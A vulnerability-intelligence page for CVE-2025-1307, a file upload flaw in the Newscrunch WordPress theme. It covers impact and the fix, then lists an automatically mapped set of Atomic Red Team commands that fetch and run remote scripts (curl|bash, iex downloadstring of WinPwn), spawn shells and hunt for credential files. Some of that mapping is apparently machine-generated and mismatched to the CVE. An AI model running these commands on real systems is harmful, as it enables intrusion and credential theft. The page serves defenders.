CVE-2025-1307
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of a capability check within the newscrunch_install_and_activate_plugin() function in the spicethemes Newscrunch WordPress theme. The affected component is the plugin installation and activation routine, which fails to verify user permissions before processing file uploads. This missing authorization check enables unauthorized file uploads through the theme's internal plugin management mechanism in versions up to and including 1.8.4.1.
Vulnerability Description
The Newscrunch theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check in the newscrunch_install_and_activate_plugin() function in all versions up to, and including, 1.8.4.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with Subscriber-level access can upload arbitrary files to the web server, potentially leading to remote code execution and full site compromise. This enables unauthorized modification or addition of malicious code, data theft, or persistent backdoor installation. The exploit requires no elevated privileges beyond Subscriber and no user interaction beyond authentication, aligning with the CVSS vector indicating network attack with low attack complexity and no user interaction (AV:N/AC:L/PR:N/UI:N). The business impact includes unauthorized control over the affected WordPress site and possible lateral movement within the hosting environment.
Solution
Users of the spicethemes Newscrunch WordPress theme should upgrade to a version later than 1.8.4.1 where the missing capability check in newscrunch_install_and_activate_plugin() has been addressed. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/b55567e9-24e6-4738-b7f7-b95b541e6067. Applying the updated theme version or manually adding appropriate capability checks in functions.php is recommended to prevent unauthorized file uploads.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Newscrunch theme for WordPress arises from a critical oversight in the newscrunch_install_and_activate_plugin() function, which lacks a proper capability check. This flaw allows authenticated users, even those with the lowest level of access (Subscriber), to upload arbitrary files to the server. The absence of stringent checks means that malicious actors can exploit this weakness to upload potentially harmful files, including scripts that could lead to remote code execution. This vulnerability is particularly concerning as it opens the door for attackers to gain unauthorized access to the server, manipulate data, or even take control of the entire web application.
Attack vectors for exploiting this vulnerability are straightforward yet effective. An authenticated user with Subscriber-level access can craft a request to upload a malicious file, bypassing any restrictions that would typically prevent such actions. Once the file is uploaded, the attacker can execute it, leading to a range of malicious activities, such as data exfiltration, website defacement, or the deployment of additional malware. Scenarios could involve an attacker gaining access to sensitive user data, leveraging the compromised server to launch further attacks, or using it as a staging ground for larger-scale operations against other connected systems.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on their online presence for revenue and customer engagement. A successful exploitation could lead to significant downtime, loss of customer trust, and potential legal ramifications if sensitive data is compromised. Furthermore, the financial implications of a breach can be substantial, including costs associated with incident response, remediation, and potential regulatory fines. The reputational damage incurred from such an incident can also have long-lasting effects, making it imperative for organizations to prioritize the security of their web applications.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Newscrunch theme and other plugins to their latest versions is crucial, as updates often include patches for known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Conducting regular security audits and penetration testing can also assist in identifying and addressing potential weaknesses before they can be exploited. Furthermore, restricting user permissions based on the principle of least privilege can minimize the risk of exploitation by limiting the capabilities of lower-level users.
In conclusion, the vulnerability in the Newscrunch theme for WordPress exemplifies the critical need for robust security practices in web application development and management. By understanding the technical details, potential attack vectors, and the associated risks, organizations can take proactive steps to safeguard their systems. Implementing effective detection and mitigation strategies will not only protect against this specific vulnerability but also enhance the overall security posture of the organization, ensuring resilience against future threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Spicethemes | Newscrunch | All |
cpe:2.3:a:spicethemes:newscrunch:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2025-1307
Newscrunch <= 1.8.4 - Authenticated (Subscriber+) Arbitrary File Upload
|
Nxploited | 2 | 1 | 2025-03-05 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-1307 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/b55567e9-24e6-4738-b7f7-b95b541e6067?source=cve |
| themes.trac.wordpress.org |
GitHub CVE
|
https://themes.trac.wordpress.org/browser/newscrunch/1.8.3/functions.php#L486 |
| themes.trac.wordpress.org |
GitHub CVE
|
https://themes.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=261789%40newscrunch&new=261789%40newscrunch&sfp_email=&sfph_mail= |